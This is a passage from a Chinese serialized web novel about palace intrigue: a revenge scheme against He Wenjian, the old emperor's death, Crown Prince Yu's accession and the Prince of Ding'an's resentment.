说真的,当崔栋知道顾晟开暗地里已经投靠定安王之后,再他有意无意地在自己面前晃,差点没有恶心坏了,揍死他的念头都有过千百回了。 不过,当时太子与百里澄的意思都是将计就计,既然对方有意演戏,那何妨配合着搭好戏台把戏给唱下去。 于是,配合搭台唱戏的人久成了崔栋。 没办法,谁让他是顾晟开选择的切入口呢。 说实话,崔栋那会儿是不太乐意的。他看不上顾晟开这样的虚伪阴险之人,跟这人称兄道弟哪怕是假的也足够恶心人,这跟活吞绿头苍蝇有什么区别。 是的,不说现在,放在以前,崔栋也不太看得上顾晟开。现在看不上是因为顾晟开行事阴诡、包藏祸心,以前看不上则是一种接触过后下意识的不喜欢。 湛京是个圈,人在里面打转,久了再怎么不相干的人都会碰上的。顾氏没落,顾晟开在外行走,其实人们更看重的是他身上定国公外甥的身份,顾氏之子算什么,由此,顾晟开交际的圈子其实更倾向于武官武将那边,他与崔栋必然是有过交集的。 崔栋以前就是一个好玩的性子,遇上性情相投的,当日喝过一顿酒之后就能称兄道弟哥俩好了,之前他与顾晟开交际平平是他下意识疏远的结果。怎么说呢,那时的崔栋一直觉得顾晟开在与人相处时给他的感觉不是很舒服,只是那时候更多的是一种直觉罢了。 现在来看,他的直觉果然没有错,顾晟开就是一个恶心人的东西。可当下却要他对着顾晟开亲热地喊“顾兄”,不行,还没有喊就想吐了。 恶心归恶心,为了大局着想,崔栋还是接下了这场演出的戏份。 毕竟,与其防着不知道定安王什么时候耍阴招,不如顺势放一个知根知底的进来,在眼皮子底下看着,看他们还能翻出什么花来。 如今,唱戏的进度刚刚进展到“哥俩好”,崔栋若是向顾晟开提出要套贺文渐的麻袋为宜城公主解气,信不信,哪怕崔栋没有主动提出让顾晟开帮忙,顾晟开都会主动将这个活计揽过去以彰显自己的义气。 这还没有算完呢。 崔栋做起“坏事”是很损的,更是一套接一套的,他坏笑道:“等顾晟开套贺文渐麻袋之后,我再令人暗中将消息透露给贺文渐知道。嘿嘿,你们等着看吧。” 百里漾无语又好笑,“你可真是够损的。” 依照顾晟开的性子,他应下后肯定不会事先知会贺文渐一声,难道要说“我要打你一顿,你给配合一下”?甚至为了取信崔栋,套麻袋这事必须得做得真真的,非要把贺文渐痛扁一顿不可。 挨打的人是贺文渐,顾晟开说不得还得假惺惺地去慰问他。等后面崔栋令人将幕后黑手是顾晟开的事捅破给贺文渐,两人直接就得起内讧。 “怎样?”崔栋得意洋洋地抖着眉毛,邀功道,“我这主意不错吧,这回你该谢我了。” “主意确实好,成不成要做了之后才知道,成了我请你喝酒。”宜城公主颇为满意,认可了崔栋的计划,她也乐得看贺文渐与顾晟开狗咬狗。 说完了顾晟开与贺文渐的事情,崔栋看了一眼在场之人,提了一嘴近来湛京又再度兴起的关于继位之君人选的议论,喝了一口酒,说道:“抓了几个跳得最欢的,每个人赏了二十板子。”那么卖力地明里暗里为定安王说好话,不是收钱了就是定安王的爪牙,打他们二十板子也不算冤枉了她们。 “老三还是不死心呢。”宜城公主对定安王的小把戏嗤之以鼻,“这都多少次了,来来去去就只会弄这些。” 以前她是不掺和其他兄弟姐妹之间关于夺权的斗争的,反正日后不管是谁上位,她长公主的名位都不会少。可经过贺文渐的事情之后,她发现老三就是一个贱人,为了自己的权位竟然暗地里撺掇支持贺文渐争夺世子之位,将自己好好的生活搅得一团乱。真让老三上位了,她还能有好日子过。 既然老三不做人,那就别怪她站到太子他们那边去,全是老三自找的。 不过话说回来,自打她向长姐表明了要报复老三的意思之后,长姐带她所见所闻的那些,让她看到了一条与以前截然不同的道路,甚至是她都不曾想过的。 若说她没有被打动的话,她今日也不会出现在这里了- 作者有话说:更新啦,求评论[可怜] 第183章 最后 百里漾初听时茫然, 他是真没听说湛京城里又有了什么风声,不过听崔栋所说,背后之人是定安王没跑了。 定安王想做太子, 自然在各方面都想为自己造势,其中之一便是想在民间给自己营造一个好名声,为此可是下了不少功夫,民间也确实有一些称赞他“勇武过人、贤明仁德”的,但这只是少部分声音。真要说贤明仁德, 他哪里比得过稳坐东宫十数年的太子, 椒房这边也不会真叫定安王给自己造出好名声来压过太子。 搞来搞去, 定安王发现打舆论战自己根本不占什么优势,自己唯一能够压过太子的就是勇武与身强体健这两个方面了, 但总体而言依旧是不占优势。 定安王煽动民间议论给自己造势不是一两回了,他当然不会认为依靠民间舆论的力量就能把他拱上储君之位, 那样就太傻了。他只是想通过这样的方式向皇父展示自己的优秀卓越,试探皇父有没有看中他立他为太子的意思。 结果也很明显, 他每一次的试探都没有回应, 禁中一点动静都没有, 恰恰也是一种回应。 这次定安王又故技重施,想要再一次试探皇父的心意,可结果也再一次让他失望了,湛京里的这些声音在禁中连一点水花都溅不起来。 百里漾知道定安王这么做的原因,可就是这个原因让他心里一沉,久久浮不上来。 “五郎,愣着干什么呢?再不捞起来,肉都煮老了。” 热腾腾的锅气里,百里漾的沉思被崔栋打断, 他回神看了周围的人,脸上复又带上笑容,应了后面崔栋说给他拿酒的事,专注于眼前与大家热热闹闹地吃锅子了。 出了正月,外封的诸侯王们要返回各自的封国了。临行之前,百里漾要往宫中向帝后告别。他先去的宣室殿,入殿之后闻到了一股浓重的药味,近前发现是宫侍刚服侍皇帝用完药。 “五郎来了。”皇帝见百里漾来笑了一下,招手让他上前,其余人则退了出去。 “阿爹。”百里漾快步上前,搀扶住欲要下地行走的皇帝,也就是真正近距离感受了,他才知道皇帝因为病痛已然消瘦到何种地步了。 平常的衣袍穿在皇帝身上尽显宽大空荡,皮与骨之间的血肉只剩下了薄薄的一层,几近于形销骨立,病痛加速了他的衰老,两鬓已是斑白。 百里漾看得很不是滋味,他记忆中的皇帝阿爹更多的是那个高大英武的伟岸身躯,那双大手曾经教过他挽弓射雁、执笔习文,如今竟变得如此瘦弱无力。 “别难过,生老病死本就是常态,纵然是天子也不能免俗。”皇帝看到了这个儿子的悲伤,欣慰的同时也安慰他,又道,“你今日既来了,陪我走走吧。算起来也有好久,我们父子俩没有这样散心过了。” “是。”百里漾压住内心的酸涩难过,搀扶着皇帝往外慢慢走去。 “一晃这么多年过去了,想当初你刚出生那会儿,小小一个,被裹在襁褓里,浑身红通通的,我抱你的时候都不敢用力。如今一转眼,你已长大,还做了父亲。”大概是人老了都喜欢回忆往昔,皇帝也是如此,似乎是想起了以前养崽的快乐,脸上笑容多,又不免唏嘘时光易逝。 人回首往事时都会觉得时光易逝,因为过去了的终究是过去了,便是百里漾自己回想起来也难免有一种时光匆匆的恍惚感。 皇帝又说起百里漾的妻女,先说王妃颜漪,“颜氏女是颜定山长女,德容仪范皆是上佳,为王妃绰绰有余。当初许与你为妃时,你嘴上应了,心里怕是不怎么情愿吧。” 百里漾赧然,“以前是儿年轻不懂事,那些都是过去的事了。” 当初他没有宣之于口的不情愿不仅被皇后阿娘看清了,也被皇帝阿爹看清了。其实也没什么不好明白的,赐婚前后那段时间他躁郁不已,亲近之人还能有什么看不出来的。 皇帝笑了,“那时候我还担心过一阵呢。颜定山那老小子虽然嘴上不说,可心里是极疼爱女儿的。当初我还不容易磨得他同意许嫁女儿,若是婚后咱们家待新妇不好,我都没脸见他。” 百里漾没有想到当初竟然还有这么一节,心中羞愧,“儿让阿爹费心了。” 皇帝看他愧疚的模样,想起了其他儿子,不免叹气,随后摆了摆手,说道:“你向来是好孩子,鲜少让我与你阿娘操心的,比你几个兄长都让人省心。” 百里漾行五,全部算上他头上有四个哥哥,长夏王就不提了,无论是太子、定安王还是已经逝去的庶人湛都有让皇帝操心或是不省心的地方。 太子哪哪都好,唯一不足的便是身子孱弱,然而就这一点已经让皇帝操心不已;庶人湛当年被裹挟进谋逆叛乱之事中,若说皇帝当年没有心痛是不可能的;定安王这个儿子野心太大了,偏他气量不足,皇帝不敢选他做继任人。其他的儿子年纪都还小,山阳王倒是成婚了,可资质颇为平庸了些。 算来算去,他与皇后所生的孩子们是最好的,无论是太子还是长女、幼子,更令人欣慰的是他们兄姊弟三人心齐,心中惦念着彼此,百里氏的江山交到他们手上,他才能放心。 百里漾不知道皇帝看着他欣慰目光之下的所思所想,他想到自己的儿时。到底那时候他内里的芯子是一个成年人的魂魄,要装小孩其实还是有些笨拙的。一些实在幼稚的事情他做不来,叫大人看在眼里就是他小小年纪就很懂事乖巧,令人省心,谁叫他的参照对象是崔栋呢。 他不知道如何接皇父的话了,总不能说自己芯子其实很老,算起来其实是在欺负小孩了。 所幸皇帝也没有在这个话题上过多纠结,他又说道:“阿瞳聪颖活泼,是个好孩子。可一个终究是少了些,如我们这样的人家,子嗣不丰可是一个大问题。” 百里漾被皇帝看着,只得低头道:“是,儿子明白的。” “好了,时辰也差不多了。你阿娘还在椒房殿等着你,你过去见她吧。”皇帝倍感欣慰,拍了拍他的手背,说道。 父子俩在宣室殿周围转了一圈,如今正正好转了回来。 “是,儿告退了。”百里漾行礼,他久久看着皇帝,最后还是皇帝同他摆手,他才离开。 “五王仁孝,陛下好福气。”百里漾离开后,接手搀扶皇帝的内侍说道。他是服侍皇帝多年的老人了,也能与皇帝说说这些显示亲近的玩笑话。 “五郎是好,大郎与大娘都好,他们都是好孩子。”皇帝今日的心情真的是很好,他回首望了一眼椒房殿的方向,面上显得更愉悦了。 百里漾往椒房殿过去,一路上想着方才皇帝阿爹同他说的话,心情慢慢一点一点地沉重下来。他心里总有不太好的预感,随即摇摇头,不再去想了。 百里漾一家子大概后日就要启程返回江都了,今次进宫是向帝后告别的。皇后也知道幼子一家即将远行,又要好长一阵子见不着了,唯有叹气,叮嘱小儿子一路小心,又叫他明日让王妃将孙女阿瞳带进宫来。毕竟下次再见,阿瞳指不定又长大多少了,那时候也不知道还记不记得祖母。 百里漾自是应下。 皇后又问,“你不是早早就进宫了,怎现在才来?”她是知道小儿子要来的,算着时间给他背了爱喝的饮子,谁知道等人过来了,饮子早就凉了。 “陪着阿爹说了会儿话。”百里漾回道。 “他今日精神头好,你陪陪他说话也好。”提到皇帝,皇后忍不住心伤。她很清楚皇帝如今的身体衰败到了何种境况,可却无能为力,如何不悲伤难过? “临行之前,你也到东宫同你阿兄说一声。”皇后不欲在这个问题上多说下去,转而提了提太子。 “儿晓得的。”百里漾从善如流应下了。 …… 崔栋办事还是很利索的。 吃完锅子的次日他就纠集了一群人去找顾晟开喝酒,喝着喝着就说起了贺文渐纠缠宜城公主的事情,说到气愤处,当场把碗一摔,“这厮当真是以为没有人能收拾他了?不给他吃个教训,真当是我们好欺负了。赶明就给他套个麻袋,打他个人仰马翻。” 说罢,他环顾四周,振臂一呼,“有哪个兄弟愿意与我同去?”目光有意无意扫过顾晟开。 顿时应者众,更有人喊出“哪用得着栋兄出手,我们自可代劳”的话。 有竞争才有紧迫感,就不信顾晟开会放过这个机会。 果不其然,顾晟开主动开口应承下了套贺文渐麻袋之事。可把崔栋给感动坏了,大力拍着顾晟开的肩膀,喊道:“顾兄,你我兄弟,亲如兄弟!此事若办成,你就是我异父异母的亲兄弟。” 顾晟开被喷出来的酒气熏了一脸,眼底黑沉,面上却是一副义薄云天状,打包票道:“崔兄放心,明日便有好消息传来。” 崔栋听得两眼放光,追问道:“当真?” “当真。” “好好好,那我就等着顾兄的好消息了。” 既然成功让顾晟开入了套,后面的事情崔栋也得盯着,好做应对。 正如预先猜想的那样,顾晟开打算偷偷下手,也没有提前知会贺文渐一声。在他看来,做戏就要做全套,弄虚作假反而容易露出破绽,反正挨打的人也不是他。只消不叫贺文渐知道下手之人是他便是了。 是夜,月黑风高,正是搞事的好时候。 三个蒙面人手持棍棒,拿着麻袋,守在贺文渐回庆阳侯府的必经之路上,等着人靠近了,动手! 贺文渐近来颇多失意,准确的说应该是他从陛下下旨令他与宜城公主和离之后就开始失意了,过去那些对他阿谀奉承、溜须拍马之人转头就开始笑话奚落他,甚至定安王那边对他的态度也冷淡了。他苦闷不已,只能以酒解愁。 这不,今夜又是醉醺醺地回来。 “都是势利眼,眼见着我落魄,一个个都变了嘴脸。”贺文渐痛骂那些奚落嘲笑他的人,边骂边往嘴里灌酒,“欸,酒呢,酒没了。” 他把酒壶抬高,看看里面还有没有酒了。 突然,天降麻袋! 贺文渐眼前陡然一黑,紧接着被棍棒加身,一通好打,痛得他嗷嗷叫,想要奋起反抗偏偏被麻袋套住只能被动挨打。 痛,除了痛,再没有别的感觉了。 贺文渐从来没有觉得时间过得如此漫长,等到结束后,打他的匪徒已经逃之夭夭了。后面他是被巡夜的官兵发现的,送回了庆阳侯府。 庆阳侯夫妻发现儿子就在离家不远的地方被打了,气得发抖,庆阳侯夫人本就心疼这个儿子,更是喊着要去报官。她儿子好端端的让人打了,京兆府总该出面去管吧,一定要将凶手绳之以法。 庆阳侯却拦住了妻子,叫她不要把事情闹大,还嫌最近自家丢的脸不够多么。庆阳侯夫人不干了,质问丈夫,“你这是什么意思?爵位不给他也就算了,总不能连儿子都不要了。眼下他被歹人伤得如此厉害,你竟说算了,有你这么狠心冷情的爹么?” 庆阳侯被老妻一通指责埋怨,实在是又头疼又烦躁,最后自个也怒了,“二郎沦落到这个地步都是他自找的。是我叫他放着与宜城公主好好的日子不过非要来争这个爵位的么?这爵位要是能给他,我能不给么?你怎么不问问他私底下背着我做了什么事情?这爵位给了他,整个庆阳侯府那才是全完了。” “路是他自己选的,后果也该他自己担着。”庆阳侯咬着下颔,磨着牙齿,“什么好处都想要,真当别人都是傻子不成。” “这次只是小惩大诫,他们的夫妻情分早就消耗尽了,下次宜城公主那边就没有这么好的耐心了。见他好自为之吧。”有这么个不省心的儿子,庆阳侯也是心累,懒得再看这个儿子,一甩袖子走了。 庆阳侯夫人看着人事不知的儿子,只得默默垂泪。 贺文渐挨打的事情就这么按住了,没有闹出来。可是这事本身就是崔栋给顾晟开下的套,远还没有到结束的时候。 崔栋令人暗中观察顾晟开的动向,再将元凶是顾晟开的事情透露给了贺文渐知道,然后两人私下里闹开了,给他们看了一场好戏- 作者有话说:更新啦。 第184章 山陵崩 贺文渐早早没有想到找人打自己的竟然是顾晟开, 一想到那厮还假惺惺地来安慰自己,气得想刀了顾晟开。可冷静下来之后,他悲哀地发现自己竟然没有办法报复回去。 如今的他, 还有谁愿意帮他出头? 他已经被宜城公主抛弃了,就连庆阳侯府也放弃了他,就算是定安王也不会为他出头的。定安王正是看重顾晟开的时候,怎么可能因为顾晟开为了取信椒房那边的人打他一顿而为他将顾晟开如何。毕竟,两相对比起来, 如今的顾晟开比他更有用不是么? 思及此, 贺文渐心下更加悲凉, 他是如何到了这般境地? 贺文渐内心的悲凉无人可知,也不会有人在意, 他如今不过是一个跳梁小丑罢了。崔栋帮宜城公主出了气,从宜城公主那里得到了数瓶好酒, 拿出一半分享给百里漾,作为他的送别礼物, 豪迈道:“虽不能做一处畅饮, 但好酒共享, 你我两地也能同饮。” “好,你我且共饮此酒。”百里漾欣然接下了他的送别礼物。 几人上前送别叙话,目送着百里漾的车驾一行逐渐远去。百里漾驾马行出一段路,不由得停步回望,遥望着道路旁目送他远去的至亲,他的视线更多的想要落在长姐百里澄身上,可因为距离过于遥远,目力不及,他只能够看见长姐的人影, 却看不清她面上的神色。 百里漾心中沉重,并非是因为离别,而是因为临行之前长姐同他说的那句话,长姐说,“前日你已往宣室殿去过,情状如何你也见过,心中多少要有所准备。” 当时百里漾听得便是一惊,他看向长姐,却看到长姐沉如渊潭的眼眸,心也沉下去了。长姐不是无的放矢之人,正因为知道如此,他的心不可抑制地沉了下去。 百里漾很想就此打马回去,可是他知道他不能。他只能一路不断地回望那座湛京城,直到再也看不见为止。 春去秋来,禁中第一片黄叶落地,昭示着今秋的到来。 秋风起,泛起了一丝凉意。 宣室殿内,躺在病榻上多日的皇帝感受到了这股秋凉之意,连日昏沉的脑袋忽然间觉得清明许多,就连倍感沉重的身体也觉得松快了不少。他叫来殿内伺候的内侍,扶他到外边走一走。 昏睡多日的皇帝醒来,实在是一令人振奋的消息,左右当即去通知皇后、太子等人,乃至前朝的三公九卿等重臣也陆续收到了消息,纷纷入宫要面见皇帝,确认皇帝的状态。 入夏以来,皇帝先是毫无预兆地昏厥过去一次,吓得前朝后宫皆是大惊,后面虽然醒过来了,但整个人的状态却是极其快速地衰落下去,之后便是昏睡,时间从一开始的一日,三日,最后发展到五六日才能醒来。 这无疑不是一个好的征兆。 唯一值得庆幸的是这几年大多数时候是太子在监国,朝臣们已经与太子磨合得差不多了,纵使皇帝骤然昏厥,众人虽然惊慌,但总体上还是稳得住的,朝堂各处也没有因此发生什么大的动荡,一切都在平稳有序地运行着。 皇帝也知道自己的身体状况是愈发不好了,在清醒的时候召大臣入宫,吩咐他们尽心辅佐太子。如此,朝中大臣心中也有数了,太子已是板上钉钉的继任之君了。 率先赶来的是皇后。事实上,自皇帝开始昏睡不醒之后,皇后便从椒房殿搬到了宣室殿偏殿,以便能够照顾皇帝。今日皇帝醒来之时,皇后因为要处理一项宫务而暂时离开了,因而未能第一时间见到皇帝醒来。 “陛下。”闻得皇后醒来,皇后欢喜不已,上前轻唤了一声。 皇帝见她匆匆赶来,苍白的脸上徐徐绽开笑容,他对皇后说道:“今日忽然觉得精神许多,好久没有到后面走走了,陪我出去走走,可好?” 皇后看着皇帝朝她伸来的手,这一幕仿佛与多年前重叠了,劝说的话消散了,她做出了同样的选择,搭上了皇帝的手,展露笑颜道:“好,陛下想去何处,我都陪着。” 帝后携手在前漫步,随从的侍从隔着一段恰好的距离缀着,以免扰了前面两位主子的兴致。 皇帝走得慢,一路心情很好地赏着周围的风景。其实皇宫之中更多的是宫室建筑,间杂着花草树木点缀,且处于安全考虑,为了防止贼人藏匿,禁中的树木不能过于高大。这样的景色自然没有什么可看的,否则往年皇帝也不会带着宫中妃嫔、皇嗣往出避暑了。 只是皇帝因为多日缠绵病榻,眼见秋风起,外面秋阳灿烂,这才生出了想要走一走的心思。行至一棵树下,恰有一阵风来,摇动树叶飒飒,片片树叶落下,皇帝抬手去接,一片灿若金黄的树叶落在了他的掌心,他盯着看了一会儿,叹息道:“今年的秋来得正是时候。” 随后皇帝将那片落叶放入皇后的手心里,看着妻子不再年轻却无比熟悉的容颜,他既笑且叹,“匆匆几十年陪我走过来,辛苦你了。” “谈什么辛苦,陛下今日一定要同我说这些见外的话么?”皇后似乎知道皇帝要说什么,却不愿意再听他说下去,转移话题道,“宫中之景过于单调乏味了,等过段时间陛下身子好些了,我陪陛下往行宫去住几日。那附近有一片枫林,秋来红叶似火,很值得一观。” 皇帝静静看着她说完,摇摇头,有释然也有遗憾,“我去不了的,卿娘。抱歉,我不能陪你去了。” 他是知道自己的身体糟糕到什么程度的,这些日子他偶尔也有过短暂的清醒,太医越来越含糊的说辞与为难他并非是没有感知到的,冥冥之中他自己也有直觉,他大抵是没有多少日子好活了。今日醒来时,他睁眼看到殿外投映到殿内地面上的一片金光,那股感觉就更加强烈了,他知道,他活不过今年的秋日了。 惶恐么?自然是惶恐,几乎很少有人不畏惧死亡。但惶恐改变不了什么,其实这几年身体的逐渐变糟已经在预示这个结局了,他已经做好准备了。 做好了人之将死的准备,也做好了将身后这偌大王朝交托的准备。 太子很好,他的品行和能力让自己能够放心地将大衍交到他的手上。唯一不放心的便是太子的身体以及子嗣问题,但这也并不难解,相信他们的孩子们能够解决好的。 “大郎、大娘还有五郎,他们都是好孩子。不管是作为父亲还是作为帝王,我都相信他们,相信大衍能够在他们的齐心协力之下变得更好。”皇帝的话说着,已经有了交代后事的意味了。 皇后却听得脸色微变,她脸上的笑意终究是没有维持住,眼前逐渐朦胧,扭过脸去拭泪,嘴上强硬道:“今日你要是同我说这些的,那别说了,我不想听。” “卿娘。”皇帝微叹了口气,抓着皇后的手扣在心口,胸腔下的跳动已经不是那么的有力。他走了一段路,又一连说了这么多话,气息已经开始有些不稳了,“我怕我现在不说,后面可能就没有什么机会了。其实这些年来,有太多委屈你的地方了。这辈子恐怕是难以偿还了,想许你下辈子,又怕自己一厢情愿。” 他们年少夫妻,当年的婚姻固然有政治联合方面的因素考量,但更多的是彼此心意相通,他当年是许过“一生一世一双人”的,只不过后面情势变化,他没有能够信守诺言。其实,现在细细回想起来,有太多对不住妻子的地方,只是他已经无力去弥补了。 听到皇帝替她受到的委屈,皇后的内心情况是复杂。诚如皇帝所说,她这些年受到的委屈确实不是假的,不管皇帝是有意还是无意,有些更多的是妥协之下的无奈,她能够理解皇帝的选择,但这并不代表她就没有因此而受委屈。 可她不会只执着于受过的委屈,将自己变成一个怨恨之人。她也记得皇帝对她的好,乃至今日,她都不会后悔当初选择了皇帝。 如今皇后感知到了丈夫生命的即将逝去,悲伤与不舍几乎要将她冲垮。她笑中带泪,“谁知道你下辈子会变成什么。要是觉得歉疚,那就活得更久一些。” “好,我努力。”皇帝笑着将皇后拥入怀中,抬眼看了看愈发灿烂的秋阳,觉得刺眼,说道,“今日实在是清爽,再陪我走一走吧。” …… 朝中上下都看得分明,皇帝的身体是好不了了,只会一步步走向更糟。好在这种衰败的过程是相对缓慢的,他们有足够的时间让朝廷去接受一位君王的逐渐衰逝,在这个过程中逐步实现王朝至高权力的平稳交接。这样对于绝大多数人而言都是最好的。 皇帝也清晰地预感到自己最后一刻的迫近,在那一刻来临之前,他还要做一些安排,关于这个王朝的,关于他身边人的……做好这些之后,他也能安然地就此长眠下去。 兴业十八年九月初七,帝崩于宣室殿,太子渝奉诏于灵前即位。 之后,新帝召各诸侯王入朝。 诏书传至定安国,定安王面无人色,悲恸不已,痛哭流涕不止,深恨椒房等人阻他入朝,令他不得见皇父最后一面。 先帝身体日渐衰弱是朝中有目共睹之事,定安王在朝中安插有自己的眼线,如何不知道皇父已经如日薄西山。他自返回封地之后不断上书请求回京侍奉皇父于床前,但皆被驳回。他不信先帝会不想见他这个儿子,分明是有人从中作梗。 悲伤归悲伤,但人更当专注于眼下。 如今摆在定安王面前的是新帝召他回京奔丧的诏书。按理说,先帝崩逝,为人子为人臣当即刻奔赴湛京,拜祭先帝,为先帝服孝。可定安王却是有些踯躅不安,问左右心腹道:“我若回去,椒房若欲借机为难于我,当如何?” 他心中很不情愿称呼太子为新帝,竟然还是叫这个病秧子登上了帝位,苍天当真是无眼。 王国相不愧是心腹当中的心腹,一听便明白定安王在不安什么,很快说道:“先帝大行,子奔父丧,此天地之理也,何人敢为难大王。” 即便新帝等人真的想要为难,难道还能不回去不成?父死子不归,那是大不孝,新帝直接就可以拿着这个大做文章,革了王位,削了封地。所以,这就不存在不回的选择。即便是明知道前面有坑,那也得踩下去。 王国相道:“大王并非孤身一人,朝中自有人为大王张目。且先帝新丧,当前一切以治丧为要务,大王无需多虑。” 新帝为太子时一向以“仁孝”著称,如今先帝才刚走,新帝就急着为难不对付的亲兄弟,不符合新帝一贯的行事风格,且样子也太难看了,名声传出去也不好听。再说,其余的诸侯王与宗室也不会干看着。 所以,大王别犹豫了,赶紧收拾收拾上京吧。 定安王的忧虑是得知太子继位不可抑制地冒出来的,因为异地而处,换作是他,他必定是要动手的。可他也知道王国相说得有理,他不必过于担心。当下他也不迟疑了,点了轻骑数十,随他即可奔赴湛京。 他要做第一个入京之人。 山陵崩的诏书亦快马加鞭传至其余各诸侯国。 百里漾接到诏书时如遭雷击,诏书也一下从手中滑落在地。他一瞬间只觉得茫茫,不知天地为何物了。颜漪察觉到他的异样,快步上前握住他的双手,唤他。 百里漾感觉手上熟悉的温度以及听到了那声呼唤,仿佛又被拉回了人间。可他的神思依旧是困顿的,声音也变得艰涩起来,“阿爹,阿爹崩逝了。” 他知道皇帝阿爹的身体近些年是愈发不好了,正月离京之前的临别叙话让他那时就有一种不安的感觉,但他也只能安慰自己不要多想。 只是没想到,这一日还是来得太过突然了,突然得令人难以接受。 颜漪听得脸色一变,连忙去捡起诏书,展开一看,赫然是朝廷宣告皇帝崩逝,新帝召诸侯王进京的内容。 “阿爹。”阿瞳不明白发生了什么,怎么阿爹阿娘都是这副模样,她下意识去拉阿爹的手。 百里漾将女儿抱起,阿瞳的小手便抚摸上了他的眼下,摸到了一点湿湿的痕迹,小姑娘着急了,“阿爹,你怎么哭了?不哭不哭,阿瞳给你擦掉,擦掉了就不难过了。” 看到女儿笨拙却努力地想要安慰自己,百里漾不禁抱紧了她小小的身子,迎上王妃担忧的目光,他说道:“别担心,我无事的。我们要立即回湛京了。” “好,我们一道回去。”颜漪握住百里漾的手,想以此给他一点安慰。 先帝大行,各地诸侯王奉诏入京,为先帝服丧。 先帝的崩逝不是突然之事,大家心里或多或少都有准备了,甚至可以说是早有准备。期间朝廷不断收到各地诸侯王请求回京侍疾的奏请,三公九卿等朝中大臣不敢做主,也不敢沾手这事,将奏请均送往禁中,请皇帝处置,得到的回复都是不允。 不管是谁,一律不允。 对于皇帝这样的处置,有些人松了口气,有些人则是愤怒破防。所有人都清楚皇帝这么做事为了什么,为了让太子也就是如今的新帝顺利接下帝位,避免不必要的波折。 这对于本来就支持太子上位的人来说无疑是一件大大的好事,可对于其他想要另辟蹊径获得从龙之功的人来说无疑是糟糕透了。他们都玩过权力的游戏,无比清楚千百年来选错路的下场是什么,只有清算。轻则丟官去职,重则身死,甚至还会连累亲族,满门抄斩。 可现在他们惊慌的同时还能够稳得住。他们之前是选择了别的皇子不假,可局面还没有到最糟糕的地步不是。他们现在只是又来到了一个新的路口,很多人都还有机会再次选择,是该换方向还是继续原来的方向,都还可以再选。 如今,先帝们的皇子齐聚京城,老实说,有些人是有点慌的。谁都没有忘记定安王与新帝之间没有挑明的龃龉,加之之前先帝又摁着其他封王的儿子们不让回京,指不定他们心里都憋着一股气,万一闹了出来怎么办? 好在,什么都没有发生,风平浪静。 先帝的丧仪从开始至结束,一切都顺顺利利,各诸侯王入京之后也朝拜了新帝,很是安分,一点都没有作妖。 可太正常,反倒让人有种诡异的反常了。 更多人把注意力更多地放在了定安王身上,没办法,谁叫他之前表现得是其余皇子之中最想当太子的人呢。可定安王很安静,从头至尾一直很乖顺,如今之后见到新帝也是纳头便拜,一点磕巴都不打的。 真的好不对劲啊。 难道是定安王眼见大局已定,歇了那份心思么? 对此,宜城公主嗤笑道:“老三也不是傻,他也知道若是在这关头闹起来,他不会有好果子吃。” 闹什么,老三有什么可以闹的。不让他进京是先帝的意思,新帝继位是在三公九卿以及宗室的见证下由先帝亲口认定的。老三有什么理由闹。他要是真闹起来还好,她们还能顺手直接抽他。可惜了,老三到底忍得住。 “老三如今在干什么?”百里澄问道。 如今先帝的梓宫已经送陵,丧仪基本结束,余下的更多是守丧。帝崩,举国哀之,丧仪是重中之重。可新帝孱弱,不能过多劳累,一些事宜百里澄能处置的便处置了,此外还要为先帝守丧,劳累可想而知。 宜城公主最近做了长姐的帮手,是亲眼见着长姐如何忙前忙后不得休息的,她给长姐倒了杯茶水,嘴上答道:“他呀,据说请了一些僧道日夜在王宅中念经祈福,足不出户了。”- 作者有话说:更新啦,求评论。 第185章 柠檬精 老三还是太会了, 知道如今的湛京不是他的主场,暂时先缩起来,别人想找他麻烦都没办法。 百里澄揉捏了下眉心, 轻笑道:“他在湛京还翻不起什么风浪来,倒是要防着他私底下的一些小动作。” 宜城公主也是被历练出来,她很快就明白了长姐的未尽之意。老三摆明就是贼心不死,眼下他虽然处于弱势,但并不代表他真的就毫无动作了。 帝位更迭, 新君继位, 局势大变, 人也会跟着局势而变。老三难道不会想知道从前的那些人是变还是没有变么? 宜城公主道:“我再加派人手,使人盯住了他。” “小人, 全都一群见风使舵的小人!” 定安王宅的书房里,定安王几乎是跳着脚在骂人, 而身边的心腹谋臣们则是尽量缩小了自己的身躯,减少存在感, 以免被喷到。现在的定安王就像是一座不断往外喷吐岩浆的火山, 谁上前一点都有可能被喷, 他们可都不想做被殃及的池鱼。 定安王简直要被气死了。 他之前费了多大的心力、花了大价钱联络拉拢的那些朝臣、那些勋贵们,以前见着他还未说话就笑三分,如今竟是一个个都想绕着他走了。他派人秘密送出去的消息都如泥牛入海,连个声响都不见有,一个个都给他装聋作哑是吧。他们是眼看着百里渝登基,觉得跟着他没有指望了,一个个都想跟他划清界限了。 定安王觉得自己遭到了背叛,焉能不怒? 谋臣们眼看着他们的大王跟一头怒气冲冲的公牛似的来回转着发泄怒火,又是无语又是无奈的。哪里就有他口中说的那么严重了, 纵使眼下新帝登基固然让不少心思不定的人摇摆了起来,但若说是那些人全部要改易阵营,怎么可能,真当他们这边是吃素的么?让那些人想投靠就投靠过来,看风向不对了又想变节,天底下哪有这样的好事。 左右摇摆的墙头草是没有信誉可言,谁都不可能放心用这种人。即便想要变节也不是那么容易的,难道对面就能够忘记两边曾经结下的仇怨、毫无怨怼地接纳么? 立时没有回应并不能代表什么,因为眼下并不是一个联络的好时候。他们实在不是很能理解定安王为何如此的火急火燎,脾气也变得很奇怪,跟个炮仗似的一点就着,稍微有点不如意就火冒三丈,谁若是撞上了谁就要倒霉。 如若是了解定安王之人来看,很容易便能看出他最近化身喷火炮仗的症结出在哪里。他纯粹就是嫉妒和不甘,他如今眼看着他一直瞧不上的病秧子坐在了他梦寐以求的皇位上,每多看一眼都恨得要多吐一口血,更让他怨恨不已的是那皇位是先帝亲手捧着百里渝送上去的,皇父竟真的一点都没有考虑过他。 凭什么,他究竟哪里比不上那个病秧子了?! 治丧的时候,定安王看着逝去先帝的神位,很想问问先帝到底他差在哪里了?可他问不了,先帝也再也给不了他答案了。偏偏他还不能表现出来,唯一能够示人的只有哀痛,他是孝子,皇父崩逝让他悲痛欲绝,以至泣不成声。 这些怨愤不甘的负面情绪在这些日子里随着时间的推移积攒得越来越多,偏偏还无处发泄,定安王更不能对着谁明着说出自己的这些心思,所以就变成了如今的这个样子,以至于都有些失了智了。 说真的,这副样子在心腹谋臣们看来是从未见过的,以至于都觉得有些癫狂吓人了。好在如今定安王只是在王宅里发疯,他的失智也只是一时的,喷完发泄过后也能恢复理智了,倒也叫他们松了一口气。 定安王发泄一通之后,再次冷静下来,沉着安排底下人去联络朝中大臣之事。 